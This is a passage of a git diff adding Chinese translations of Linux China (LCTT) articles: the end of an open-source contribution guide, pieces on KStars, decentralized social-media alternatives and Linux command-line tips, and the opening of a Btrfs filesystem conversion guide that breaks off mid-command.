+我相信你会对上面提到的最后一点感兴趣吧(^o^),那么,你该如何开始为开源软件做贡献呢? + +是时候介绍一下 GitHub 了! + +Github 是开源项目协作的大本营,因此它是一个开始贡献开源的好地方。没听说过 GitHub?没有关系!它提供了文档和指南,很容易就可以上手。不过我还是要提醒你,学习是一个循序渐进的过程,不要太心急喔。 + +Github 以公共存储库repositories的形式容纳了许多开源项目。对于某个项目,你可以提交一个议题issue,来说明你注意到的错误或问题(或进一步提出改进意见),也可以创建一个拉取请求pull request(PR),并说明你的更正和改进。 + +我不建议你在 GitHub 上搜索项目来开始贡献,这将是相当令人沮丧的。尽管你可以限定项目使用的编程语言来简化搜索过程,但仍然会有一大堆东西出现在你眼前。(LCCT 译注:对于可爱的小萌新来说,这实在是难以承受 >…<。) + +为了更精准地找到适合自己的项目,这里有一些可供开始的途径: + +* [First-timers only][8]:一个很好的资源网站,你可以在上面找到新手友好的开源项目来开始贡献。(设计师朋友,我没有忘记你!你可以查看 [Open Source Design][9] 这个网站,在上面也能找到新手友好的开源设计项目!) +* 你可以创建你自己的开源项目,把你美妙的想法变成现实,并允许其他人的合作和贡献。[这里][10] 有关于如何创建开源项目的指南。 +* 加入一个社区:你可以成为某个社区的成员,这也是传播开源思想的一种方式。你可以在谷歌上搜索当地的开源社区,并积极加入其中。 + +最后,我想给出几个有用的提示,供你在贡献开源项目时参考: + +* 在加入之前,先对项目、社区或组织做一些研究;当你在做的时候,针对不清楚的地方提出问题。 +* 当你加入社区时,尽量积极地介绍自己,并说明你能帮助项目的地方。 +* **不要**认为自己无法为项目提供任何帮助,停止这种念头!你有很好的想法可以分享! +* 在存储库中看看别人提交的议题,(如果有的话)看看你能在哪些方面提供帮助,你可以关注带有“good first issue”、“help-wanted”、“first-timers only”等标签的议题。 +* 在开始贡献之前,一定要先看一下贡献指南,这样你在贡献时就不会有冲突。 + +> 哪怕只是使用一个开源工具也是一种贡献;参加一个开源活动也是一种贡献;做开源项目的志愿者,或者为开源项目提供赞助也是一种贡献。 + +我想用非洲开源节的口号来结束:“未来是开放的”,所以快上车吧! + +感谢阅读! + +如果你还有疑问或需要帮助,请在 [这里][11] 联系我,我很乐意和你讨论开源,并帮助你做出首次贡献! + +**LCTT 译注:读了这篇文章,你是不是想要马上投身于开源贡献呢?那么请考虑加入“Linux 中国翻译组(LCTT)”吧!我们有能帮助你快速上手翻译的 [维基][12] ,有热心友爱的 QQ 群,你甚至还能够在我们的官网上获得属于自己的译者专页……心动了吗?那就立刻行动起来吧!阅读 [维基][12] 以了解如何加入我们~** + +-------------------------------------------------------------------------------- + +via: https://ruthikegah.xyz/a-beginners-guide-to-open-source + +作者:[Ruth Ikegah][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://hashnode.com/@ikegah_ruth +[b]: https://github.com/lkxed +[1]: https://ruthikegah.xyz/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1596742204400%2Fk9AJL1oNC.jpeg%3Fw%3D1600%26h%3D840%26fit%3Dcrop%26crop%3Dentropy%26auto%3Dcompress%2Cformat%26format%3Dwebp&w=3840&q=75 +[2]: https://hashnode.com/@didicodes +[3]: https://edidiongasikpo.com/open-source-contributions-a-catalyst-for-growth-b823fc5752b1 +[4]: https://summerofcode.withgoogle.com +[5]: https://www.outreachy.org/ +[6]: https://developers.google.com/season-of-docs +[7]: https://docs.opencollective.com/help/contributing/development/bounties +[8]: https://www.firsttimersonly.com/ +[9]: https://opensourcedesign.net/ +[10]: https://github.com/Ruth-ikegah/opensource.guide +[11]: https://twitter.com/IkegahRuth +[12]: https://lctt.github.io/wiki/intro/lctt.html diff --git a/published/202205/20210102 Explore the night sky with this open source astronomy app.md b/published/202205/20210102 Explore the night sky with this open source astronomy app.md new file mode 100644 index 0000000000..d25508a327 --- /dev/null +++ b/published/202205/20210102 Explore the night sky with this open source astronomy app.md @@ -0,0 +1,93 @@ +[#]: collector: (lujun9972) +[#]: translator: (hanszhao80) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14599-1.html) +[#]: subject: (Explore the night sky with this open source astronomy app) +[#]: via: (https://opensource.com/article/21/1/kstars) +[#]: author: (Don Watkins https://opensource.com/users/don-watkins) + +使用开源天文应用程序 KStars 探索夜空 +====== + +> 使用 KStars 从你的 Linux 桌面或安卓设备眺望星辰。 + +![](https://img.linux.net.cn/data/attachment/album/202205/16/104339d0u39oiyzugzjf86.jpg) + +我一直对夜空很着迷。当我年轻的时候,唯一可用的参考资料是书籍,它们似乎描绘了一个与我从家里看到的不一样的天空。 + +五年多前,我曾介绍过两个开源天文馆应用程序 [Celestia 和 Stellarium][2] 的使用体验。最近,我又了解到一个应用 [KStars][3]。这是一个令人惊叹的开源应用程序,可以帮助儿童(和成人)参与科学和天文学。它的网站上说: + +> “KStars 是一款自由开源的、跨平台的天文学软件。它提供了从地球上的任何位置、任何日期和时间对夜空的一个精确的图形化模拟。可展示包括多达 1 亿颗恒星,13,000 个深空天体,所有 8 个行星,太阳和月亮,以及数千颗彗星,小行星,超新星和卫星。“ + +KStars 是 [KDE 教育项目][4] 的一部分。最新版本可用于 Linux、Windows 和 MacOS,它集成了 [StellarSolver][5],这是一个跨平台的 SExtractor 程序,它可以从天文图像构建一个天体目录。 + +### 安装 KStars + +KStars 采用 GPL 2.0 协议自由授权。源代码可以在官方的 [KDE GitLab 实例][6] 查看(这是 GitHub 的一个只读镜像)。KDE 教育项目有着优秀的 [安装文档][7]。 + +我用的系统是 [Pop!_OS][8],可以在 Pop!_Shop 找到这款应用程序。 + +可以从你的发行版的软件存储库中找到 KStars 在 Linux 上安装。而在安卓设备上,可以从 [Google Play 商店][9] 下载适配安卓的 KStars Lite。KDE 项目维护了一份优秀的 [KStars 手册][10] 来帮助用户。 + +### 使用 KStars + +安装完后,从你的“应用Applications”菜单启动程序。启动向导会指导你完成初始化设置。 + +![KStars 启动向导][11] + +这些指示很容易理解。向导会提示设置你住所的位置。不幸的是,我所在的小村庄不在列表里,但附近一个更大的社区在里面。 + +![KStars 位置设置][13] + +你还可以下载该程序的其他数据和额外功能。 + +![KStars 扩展][14] + +这里有很多可用的选项。我选择“在详细信息窗口中显示常见图像Common images displayed in the detail window”。 + +一旦完成设置,KStars 会呈现一张基于你的位置的夜空图。 + +![KStars 夜空显示][15] + +左上角显示了当前时区(这张图里是 2020 年 11 月 30 日傍晚 5 点 58 分)。 + +使用鼠标左键,可以向左、向右、向上和向下移动显示。你可以使用鼠标滚轮进行放大和缩小。将鼠标光标放在天体上并右键单击可查看当前天体的描述。 + +![KStars 天体描述][16] + +### 参与 + +KStars 正在积极寻求错误报告、天文学知识、代码、翻译等方面的帮助。主要开发者和维护者是 [Jasem Mutlaq][17]。如果你愿意贡献一份力量,请访问 [项目网站][18] 或加入邮件列表以了解更多信息。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/1/kstars + +作者:[Don Watkins][a] +选题:[lujun9972][b] +译者:[hanszhao80](https://github.com/hanszhao80) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/osdc_520x292_opensourcestars.png?itok=hnrMETFh (Open source stars.) +[2]: https://opensource.com/education/15/7/open-source-apps-explore-night-sky +[3]: https://edu.kde.org/kstars/ +[4]: https://edu.kde.org/ +[5]: https://github.com/rlancaste/stellarsolver +[6]: https://invent.kde.org/education/kstars +[7]: https://edu.kde.org/kstars/install.php +[8]: https://pop.system76.com/ +[9]: https://play.google.com/store/apps/details?id=org.kde.kstars.lite&hl=en +[10]: https://docs.kde.org/trunk5/en/extragear-edu/kstars/index.html +[11]: https://opensource.com/sites/default/files/uploads/kstars_startupwizard.png (KStars Startup Wizard) +[12]: https://creativecommons.org/licenses/by-sa/4.0/ +[13]: https://opensource.com/sites/default/files/uploads/kstars_setlocation.png (KStars location setup) +[14]: https://opensource.com/sites/default/files/uploads/kstars_addons.png (KStars add-ons) +[15]: https://opensource.com/sites/default/files/uploads/kstars_sky.png (KStars night sky display) +[16]: https://opensource.com/sites/default/files/uploads/kstars_objectdescription.png (KStars describes objects) +[17]: https://github.com/knro +[18]: https://edu.kde.org/kstars diff --git a/published/202205/20210111 9 Decentralized, P2P and Open Source Alternatives to Mainstream Social Media Platforms Like Twitter, Facebook, YouTube and Reddit.md b/published/202205/20210111 9 Decentralized, P2P and Open Source Alternatives to Mainstream Social Media Platforms Like Twitter, Facebook, YouTube and Reddit.md new file mode 100644 index 0000000000..1906887042 --- /dev/null +++ b/published/202205/20210111 9 Decentralized, P2P and Open Source Alternatives to Mainstream Social Media Platforms Like Twitter, Facebook, YouTube and Reddit.md @@ -0,0 +1,242 @@ +[#]: collector: (lujun9972) +[#]: translator: (TravinDreek) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14529-1.html) +[#]: subject: (9 Decentralized, P2P and Open Source Alternatives to Mainstream Social Media Platforms Like Twitter, Facebook, YouTube and Reddit) +[#]: via: (https://itsfoss.com/mainstream-social-media-alternaives/) +[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) + +9 个去中心化、端到端、开源的主流社交媒体平台替代品 +====== + +你多半知道,Facebook 因可能从它的“端到端加密”的聊天服务 WhatsApp 那里共享用户数据而 [遭到抨击][1]。 + +这些有争议的隐私政策变化使无数人转而使用 WhatsApp 替代品。 + +注重隐私的人们,早就料到了会有这事。毕竟,[Facebook 可是花了 190 亿美元收购了 WhatsApp 这样的手机应用][2],而当时靠它还赚不到什么钱。现在,Facebook 该回本了 —— 回那之前投进去的 190 亿美元的本。他们可能打算把你的数据共享给广告商,这样的话,你看到的广告就会更加个性化(侵入性)了。 + +要是你受够了 Facebook、Google、Twitter 等科技公司的“我说了算”的态度,那你应该试试一些社交媒体平台的替代品。 + +这些社交平台的替代品都是开源的,它们都用了端到端或区块链技术来实现去中心化,而且你可能能够自己托管其中一些平台。 + +### 开源和去中心化的社交网络 + +![Image Credit: Datonel on DeviantArt][3] + +先说句实话,这些替代平台的体验,可能会和你惯用平台的体验有所差异,但这些平台是不会侵犯你的隐私和言论自由的。这就是一种权衡。 + +#### 1、Minds + +- 用于替代:Facebook 和 YouTube +- 特点:代码开源、区块链 +- 自托管:否 + +在 Minds 上,你可以发视频、博客、图片,并设置当前状态。你也能向群聊,或者直接向好友,安全地发送消息或者进行视频聊天。通过热门内容和话题,你可以发现你感兴趣的文章。 + +还不止这些。你还能通过做贡献来赚取代币,这些代币可以用来升级你的频道。创作者可以从粉丝那里直接得到美元、比特币和以太坊的支付。 + +> **[Minds][4]** + +#### 2、Aether + +- 用于替代:Reddit +- 特点:开源、端到端 +- 自托管:否 + +![][5] + +Aether 是一个开源、端到端的平台,用于创建自我管理的社区,并可以审查管理记录以及选举版主。 + +Aether 上的内容,具有存在时间短的性质,并且内容只会留存六个月,除非有人把它保存下来。因为它是端到端的,所以中心服务器不复存在。 + +Aether 有趣的一点在于它的民主社区。社区可以选举版主,也能投票弹劾版主。 + +> **[Aether][6]** + +#### 3、Mastodon + +- 用于替代:Twitter +- 特点:开源、去中心化 +- 自托管:是 + +![][7] + +在自由开源软件爱好者中,[Mastodon][8] 已经很有名了。我们之前报道过 [Twitter 的开源替代品 Mastodon][9],并且 [你也可以在 Mastodon 上关注我们][10]。 + +Mastdon 并不像 Twitter 那样是一个单一网站,它是个由数千个社区组成的网络,这些社区都由不同的组织和个人运营,并且都提供无缝的社交媒体体验。这被称之为“Fediverse”。 + +你可以托管自己的 Mastodon 实例,并选择将其连接到其他 Mastodon 实例,或者直接加入一个已有的 Mastodon 实例,比如说 [Mastodon Social][11]。 + +> **[Mastodon][8]** + +#### 4、LBRY + +- 用于替代:YouTube +- 特点:开源、去中心化、区块链 +- 自托管:否 + +![][12] + +[LBRY][13] 的核心是一个基于区块链的去中心化协议。协议顶层,便是由其加密货币驱动的数字市场。 + +通过 LBRY,创作者可以提供多种数字化内容,例如影片、书籍和游戏。基本上,它是作为 YouTube 的替代而受到推崇的。你可以在 Odysee 上访问这个视频共享平台。 + +我们之前 [报道过 LBRY][14],你可以去读那篇文章了解详情。 + +> **[LBRY][15]** + + +#### 5、Pixelfed + +- 用于替代:Instagram +- 特点:去中心化、区块链 +- 自托管:否 + +![][31] + +Pixelfed 和 Mastodon 使用了相同的底层开放协议,即 ActivityPub。 + +因此,你也可以通过 Pixelfed 与 Mastodon 的实例进行互动。我还没有试过,但从理论上讲,你应该可以做到这一点。你应该找到几个活跃的 Pixelfed 实例来注册。 + +如果你想控制你的数据和隐私,Pixelfed 是 Instagram 的一个简单替代品。你可以控制你的图片的隐私,在平台上没有任何广告。 + +你可以得到与照片分享平台基本相同的功能。然而,它没有驱动时间线的算法,遵循时间顺序,不收集你的任何数据,以获得个性化的体验。 + +> **[Pixelfed][32]** + +#### 6、Peertube + +- 用于替代:YouTube +- 特点:去中心化、端到端 +- 自托管:否 + +![][19] + +PeerTube 由法国公司 Framasoft 开发,它是一个去中心化的视频平台。PeerTube 使用了 [BitTorrent 协议][20] 以在用户之间共享宽带。 + +PeerTube 旨在抵制企业的垄断,它不依靠广告,并且也不会追踪你。不过要注意,你的 IP 地址在这里不是匿名的。 + +目前有许多 PeerTube 的实例,你可以在那里托管你的视频。有些实例需要付费,不过大多数都是免费的。 + +> **[PeerTube][21]** + +#### 7、Diaspora + +- 用于替代:Facebook +- 特点:去中心化、开源 +- 自托管:是 + +Diaspora 是最早的去中心化社交网络之一。最早可以追溯到 2010 年,当时 Diaspora 就作为 Facebook 的替代品而受到吹捧。最初几年,它确实得到了一些应得的关注,但它只在小众范围内得到了使用。 + +和 Mastodon 类似,Diaspora 由许多“豆荚pod” (节点服务器)组成。你可以在一个“豆荚”上注册,或者托管你自己的“豆荚”。科技公司无法拥有你的数据,只有你可以。 + +> **[Diaspora][22]** + +#### 8、Dtube + +- 用于替代:YouTube +- 特点:去中心化、区块链 +- 自托管:否 + +![][23] + +Dtube 是一个基于区块链的去中心化 YouTube 复制品。之所以说它是 YouTube 复制品,是因为它界面太像 YouTube 了。 + +Dtube 像其他基于区块链的社交媒体一样,是由 DTube 币(DTC)驱动的。每当有人观看创作者的视频或者与之互动,创作者就会获得 DTC。这些硬币可以用于推广内容,或者通过合作的加密货币交换方来提现。 + +> **[DTube][24]** + +#### 9、Signal + +用于替代:WhatsApp、Facebook Messenger +特点:开源 +自托管:否 + +![][25] + +与端到端加密的 WhatsApp 聊天不同,Signal 不会跟踪你,不会共享你的数据,也不会侵犯你的隐私。 + +[Signal 一举成名][26],是在它得到 Edward Snowden 的认可之时。而当 WhatsApp 开始与 Facebook 共享数据时,Elon Musk 又发了关于 Signal 的推文,这便让 Signal 更受瞩目了。 + +Signal 使用了自己的开源 Signal 协议,以提供端到端加密的消息和通话服务。 + +> **[Signal][28]** + +#### KARMA(已终止) + +- 用于替代:Instagram +- 特点:去中心化、区块链 +- 自托管:否 + +![][16] + +这也是一个基于区块链的社交网络,由加密货币驱动。 + +KARMA 是 Instagram 的一个复制品,它构建于开源区块链平台 [EOSIO][17] 之上。每当你的内容获得了点赞和分享,你就会得到 KARMA 代币。你可以用这些代币来推广你的内容,或者通过一个合作的加密货币交换方,来将其转换为现实货币。 + +KARMA 只能在手机上使用,可以在 Play Store 及 App Store 上获取。 + +> **[KARMA][18]** + +#### 还有别的吗? + +还有一些其他的服务,它们虽然不是开源或者去中心化的,但也尊重你的隐私与言论自由。 + + * [MeWe][29]:Facebook 替代品 + * [Voice][30]:NFT 为数字艺术家赋能 + * [ProtonMail][33]:Gmail 替代品 + +还有一个基于 Matrix 协议的 [Element 聊天工具][34],你也可以试试。 + +我知道,应该还有几个别的社交媒体平台的替代品。也想分享一下?我可能会把他们加到列表中来。 + +要是你也得在这个列表中选一个平台,你想选哪个呢? + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/mainstream-social-media-alternaives/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[Peaksol](https://github.com/TravinDreek) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://arstechnica.com/tech-policy/2021/01/whatsapp-users-must-share-their-data-with-facebook-or-stop-using-the-app/ +[2]: https://money.cnn.com/2014/02/19/technology/social/facebook-whatsapp/index.html +[3]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/1984-quote.png?resize=800%2C450&ssl=1 +[4]: https://www.minds.com/ +[5]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/01/aether-reddit-alternative.png?resize=800%2C600&ssl=1 +[6]: https://getaether.net +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/mastodon.png?resize=800%2C623&ssl=1 +[8]: https://joinmastodon.org/ +[9]: https://itsfoss.com/mastodon-open-source-alternative-twitter/ +[10]: https://mastodon.social/@itsfoss +[11]: https://mastodon.social +[12]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/04/lbry-interface.jpg?resize=800%2C420&ssl=1 +[13]: https://lbry.org +[14]: https://itsfoss.com/lbry/ +[15]: https://lbry.tv/$/invite/@itsfoss:0 +[16]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/karma-app.jpg?resize=800%2C431&ssl=1 +[17]: https://eos.io +[18]: https://karmaapp.io +[19]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/peertube-federation-multiplicity.jpg?resize=600%2C341&ssl=1 +[20]: https://www.slashroot.in/what-bittorrent-protocol-and-how-does-bittorrent-protocol-work +[21]: https://joinpeertube.org +[22]: https://diasporafoundation.org +[23]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/dtube.jpg?resize=800%2C516&ssl=1 +[24]: https://d.tube +[25]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2019/12/signal-shot.jpg?resize=800%2C565&ssl=1 +[26]: https://itsfoss.com/signal-messaging-app/ +[27]: https://www.britannica.com/biography/Elon-Musk +[28]: https://www.signal.org +[29]: https://mewe.com +[30]: https://www.voice.com +[31]: https://itsfoss.com/wp-content/uploads/2022/04/pixelfed-decentralized.jpg +[32]: https://pixelfed.org/ +[33]: https://itsfoss.com/recommends/protonmail/ +[34]: https://itsfoss.com/element/ \ No newline at end of file diff --git a/published/202205/20210112 8 tips for the Linux command line.md b/published/202205/20210112 8 tips for the Linux command line.md new file mode 100644 index 0000000000..3188935f71 --- /dev/null +++ b/published/202205/20210112 8 tips for the Linux command line.md @@ -0,0 +1,94 @@ +[#]: collector: (lujun9972) +[#]: translator: (FYJNEVERFOLLOWS) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14570-1.html) +[#]: subject: (8 tips for the Linux command line) +[#]: via: (https://opensource.com/article/21/1/linux-commands) +[#]: author: (Jim Hall https://opensource.com/users/jim-hall) + +分享 8 篇使用 Linux 命令行的技巧 +====== + +> 要好好利用无所不能的 Linux 命令行提供的所有功能 + +![](https://img.linux.net.cn/data/attachment/album/202205/10/084827v23ia3wlkdirr6r5.jpg) + +Linux 命令行是极其灵活的。无论你是管理服务器还是在桌面系统上启动终端窗口,都可以通过命令行无所不包的工具包来更新文件、调整系统性能或者管理进程。命令行里发生的事情是非常有趣的。 + +我们发布了许多关于如何充分利用系统的优秀文章,证明了命令行的流行。以下是 8 篇关于 Linux 命令阅读量最高的文章: + +### 《使用这些技巧让 Bash 命令历史更加有用》 + +> **[文章地址][2]** + +Bash 是大多数 Linux 系统上的默认命令行 Shell。Seth Kenlon 编写了该指南,用于帮助你了解 Bash 命令历史。修改 Bash 命令历史通常没有听起来那么危险,特别是当你带有目的地修改它的时候。告诉 Bash 你希望它记住什么,甚至还可以直接通过删除你不想要或不需要的条目来重写命令历史。根据需要使用你的历史会话,明智地行使你对命令历史的权力。 + +### 《如何在 Linux 终端中兼顾特性和性能》 + +> **[文章地址][3]** + +Ricardo Gerardi 非常喜欢命令行应用程序,他花了很多时间在终端上工作。Ricardo 投入了一些时间,把命令行变成了一个令人愉快的工作环境。你可以通过了解如何自定义终端应用程序、主题和提示符,来创建一个功能丰富、易于使用系统资源的终端。 + +### 《放弃 Bash 转投拥有更优美配置的 fish》 + +> **[文章地址][4]** + +Matt Broberg 最近放弃了默认的命令行解释器 —— Bash,转而支持 fish。fish 自豪地宣称自己是 “90 年代的命令行 shell”。这个以鱼为主题的 “友好的交互式 shell” 为命令行创造了更愉快的体验。阅读 Matt 的文章来进一步了解如何充分利用 fish。如果你不想再对你的终端修修补补,换一个更漂亮的默认 shell,把更多精力放在代码上,不妨试一试 fish。 + +### 《分析 Linux 里二进制文件的 10 种方式》 + +> **[文章地址][5]** + +我们每天都在和二进制文件打交道,但我们对它们的了解甚少。Linux 提供了一组丰富的工具,使分析二进制文件变得轻而易举!这些简单的命令和工具可以帮助你顺利完成分析二进制文件的任务。无论你的工作角色是什么,了解这些工具的基本知识将帮助你更好地了解你的 Linux 系统。Gaurav Kamathe 介绍了一些最流行的用于管理二进制文件的 Linux 工具和命令,包括 `file`、`nm`、`strings` 和 `hexdump`。 + +### 《可用于 Linux 命令行的 4 种 Markdown 工具》 + +> **[文章地址][6]** + +当涉及使用 Markdown 格式的文件时,命令行工具占据了主导地位。它们轻巧、快速、强大而又灵活,其中大多数遵循 Unix “把一件事情做好”的哲学。Scott Nesbitt 回顾了 4 种命令行实用工具,它们可以帮助你更高效地处理 Markdown 文件。 + +### 《禁用 atime 来提高 Linux 系统性能》 + +> **[文章地址][7]** + +每当我在为家里的电脑升级 Linux 时,我都会把我通常要做的任务列出来。这些年来,它们已经成为了习惯:备份文件、还原系统、重新安装、恢复文件,然后重新安装额外的我最喜欢的应用程序。我还会对系统进行了一些调整。其中一个调整就是 `atime`,它是 Linux 里每个文件的三个时间戳之一。关掉 `atime` 是一种简单但有效的提升系统性能的方法。下面是关于 `atime` 的介绍,以及为什么它会有影响。 + +### 《使用 fstrim 延长固态硬盘的寿命》 + +> **[文章地址][8]** + +在过去的十年中,固态硬盘(SSD)带来了一种全新的管理存储的方式。相比传统的机械硬盘,固态硬盘具有一些优点,比如安静、更酷的操作和更快的接口规格。当然,新技术带来了新的维护和管理方法。Alan Formy-Duval 写了一个新的 systemd 服务让你更容易管理固态硬盘。 + +### 《Linux 命令行工具的 5 种新式替代品》 + +> **[文章地址][9]** + +在我们日常使用的 Linux 或 Unix 系统中,我们会使用许多命令行工具来完成我们的工作,并帮助我们更好地了解和管理我们的系统。多年来,这些工具已经现代化并移植到了不同的系统中。然而,总的来讲,它们仍然保持着最初的想法、外观和感觉。近年来,开源社区已经开发出了提供额外好处的替代工具。Ricardo Gerardi 向我们展示了如何通过这 5 种新的替代品改进旧的命令行工具来获得新的好处。 + +### 总结 + +把这些文章作为跳板,寻找你自己关于命令行的技巧和花招吧!这份清单里还缺少什么吗?请在下方评论,或者提交一篇你自己的文章! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/1/linux-commands + +作者:[Jim Hall][a] +选题:[lujun9972][b] +译者:[FYJNEVERFOLLOWS](https://github.com/FYJNEVERFOLLOWS) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/terminal_command_linux_desktop_code.jpg?itok=p5sQ6ODE (Terminal command prompt on orange background) +[2]: https://linux.cn/article-12344-1.html +[3]: https://opensource.com/article/20/7/performance-linux-terminal +[4]: https://opensource.com/article/20/3/fish-shell +[5]: https://linux.cn/article-12187-1.html +[6]: https://linux.cn/article-12048-1.html +[7]: https://opensource.com/article/20/6/linux-noatime +[8]: https://linux.cn/article-11959-1.html +[9]: https://opensource.com/article/20/6/modern-linux-command-line-tools diff --git a/published/202205/20210122 Convert your filesystem to Btrfs.md b/published/202205/20210122 Convert your filesystem to Btrfs.md new file mode 100644 index 0000000000..00cfa03fc9 --- /dev/null +++ b/published/202205/20210122 Convert your filesystem to Btrfs.md @@ -0,0 +1,316 @@ +[#]: collector: (lujun9972) +[#]: translator: (hwlife) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14577-1.html) +[#]: subject: (Convert your filesystem to Btrfs) +[#]: via: (https://fedoramagazine.org/convert-your-filesystem-to-btrfs/) +[#]: author: (Gergely Gombos https://fedoramagazine.org/author/gombosg/) + +如何将你的文件系统转换为 Btrfs +====== + +![][1] + +### 引言 + +这篇概述文章将告诉你为何以及如何迁移你的当前分区到 Btrfs 文件系统。如果你对此感兴趣,请阅读这篇分步指南来完成。 + +从 Fedora 33 开始,新安装的 Fedora 操作系统默认文件系统为 Btrfs。我确信大部分用户现在已经听说了它的优势:写时复制、内置校验、灵活的压缩方式、简易的快照和回滚方式。它确实是一个现代化的文件系统,为桌面存储带来新的功能。 + +在升级到 Fedora 33 后,我想利用 Btrfs 的优势,但对我个人来说,我不想因为“只是为了改变文件系统”而去重装整个系统。我发现(只有)寥寥无几的具体如何做转换的教程,所以我决定在这里分享我的详细经验。 + +### 小心! + +这样做你是在玩火。希望你阅读以下内容时不要感到惊讶: + +> 在编辑分区和转换文件系统时,你的数据可能会被破坏和丢失。最终,你可能会得到一个不能启动的操作系统,并面临数据恢复的风险。你可能会无意删除你的分区,或者以其它方式破坏了你的操作系统。 + +这些转换过程即使对于生产系统来说也是安全的 —— 前提是你提前做好了计划,对关键数据做好了备份和回滚计划。作为一个 _可以执行超级权限的系统管理员_,你可以在没有限制、没有任何常规安全防护措施的情况下,做任何事情。 + +### 安全的方式:重装 Fedora + +重装操作系统是转换文件系统到 Btrfs 的 “官方” 方式,推荐给大多数用户使用。因此,如果在这个教程中有那么一点不确定,就选择这种方式。步骤大致如下: + + 1. 备份你的主文件夹和你系统中可能会用到的任何数据,比如 `/etc`。(编者按:虚拟机也是这样) + 2. 将已安装的安装包以列表形式保存到到文件中。 + 3. 重新安装 Fedora,删除你当前的分区,并选择新的 Btrfs 默认分区方案。 + 4. 恢复主文件夹的内容,并使用软件包列表文件重装软件包。 + +对于详细的步骤和命令,请看一位社区用户在 [ask.fedoraproject.org][2] 站点的评论。如果正确完成,你将得到一个和之前一样的操作系统,使丢失数据的风险最小化。 + +### 转换的利弊 + +让我们快速澄清一下:这种文件系统转换有什么优势和劣势? + +**优势:** + + * 当然,不需要重新安装!你的系统里的所有文件和之前一模一样。 + * 技术上来说,没有备份的情况下,就地进行是可能的。 + * 你会学到许多关于 Btrfs 的知识! + * 如果所有都按计划进行,会是相当快的一个过程。 + +**劣势:** + + * 你必须熟悉终端环境和 shell 命令。 + * 你可能会丢失数据,参见上文。 + * 如果出了什么问题,你得自己解决。 + +**特别之处:** + + * 你需要大约 20% 的可用磁盘空间才能成功转换。但对于完整的备份和重装方式,你可能需要的空间更多。 + * 你可以在转换过程中自定义你分区的所有参数,但如果选择重装,你也可以从 Anaconda 自定义。 + +### LVM 怎么办? + +在近期几次 Fedora 安装中,LVM 布局一直是默认的。如果你有一个带有多个分区(例如 `/` 和 `/home`)的 LVM 分区布局,你得以某种方式合并它们,来获得 Btrfs 所有性能。 + +如果选择这样做,你可以单独转换分区到 Btrfs 文件系统,同时保留卷组。然而,迁移到 Btrfs 文件系统的优势之一是摆脱 LVM 分区布局强加的限制。你也可以利用 Btrfs 文件系统提供的收发功能在转换后来合并分区。 + +> 另见 《Fedora 杂志》: [利用 LVM 回收硬盘空间][3]、[从 Btrfs 快照中恢复文件][4] 以及 [在 Btrfs 和 LVM-ext4 两者之间做选择][5]。 + +### 了解 Btrfs + +建议阅读以下内容对 Btrfs 文件系统是什么有一个基础的了解。如果你没有把握,只有选择重装 Fedora 这种安全的方式。 + +必须了解的: + + * [Fedora Magazine:Btrfs 来到 Fedora 33][6] + * [Btrfs 系统管理指南][7], _尤其是_ 关于子卷和 flat 子卷布局。 + * [btrfs-convert 指南][8] + +有用的资源: + + * [man 8 btrfs][9] – 命令行界面 + * [man 5 btrfs][10] – 挂载参数 + * [man btrfs-convert][11] – 要用到的转换工具 + * [man btrfs-subvolume][12] – 管理子卷 + +### 转换步骤 + +#### 创建一个实时镜像 + +由于不能转换已挂载的文件系统,我们将通过 Fedora 实时镜像Live Image进行。安装 [Fedora 镜像写入工具][13],然后 “烧录” Fedora 33 到你的 U 盘中来创建实时镜像。 + +#### 释放磁盘空间 + +`btrfs-convert` 会在分区的剩余空间重新创建文件系统的元数据,同时保持所有已有的 ext4 文件系统数据还在它当前的位置上。 + +不幸的是,所需的剩余空间的大小无法提前知道:如果没有足够的空间,转换将会失败(但不会破坏数据)。这里有一些释放空间有用的方法: + + * 利用 `baobab` 来识别大容量的文件和文件夹,然后移除。如果可能的话,不要手动删除主文件夹以外的文件。 + * 清理旧的系统日志:`journalctl –vacuum-size=100M`。 + * 如果你正使用 Docker,请小心地使用类似 `docker volume prune`、`docker image prune -a` 这样的工具。 + * 清理 GNOME Boxes 之类的虚拟机内不用的镜像。 + * 清理不用的软件包和 Flatpak 包:`dnf autoremove`、`flatpak remove –unused`。 + * 清理软件包缓存:`pkcon refresh 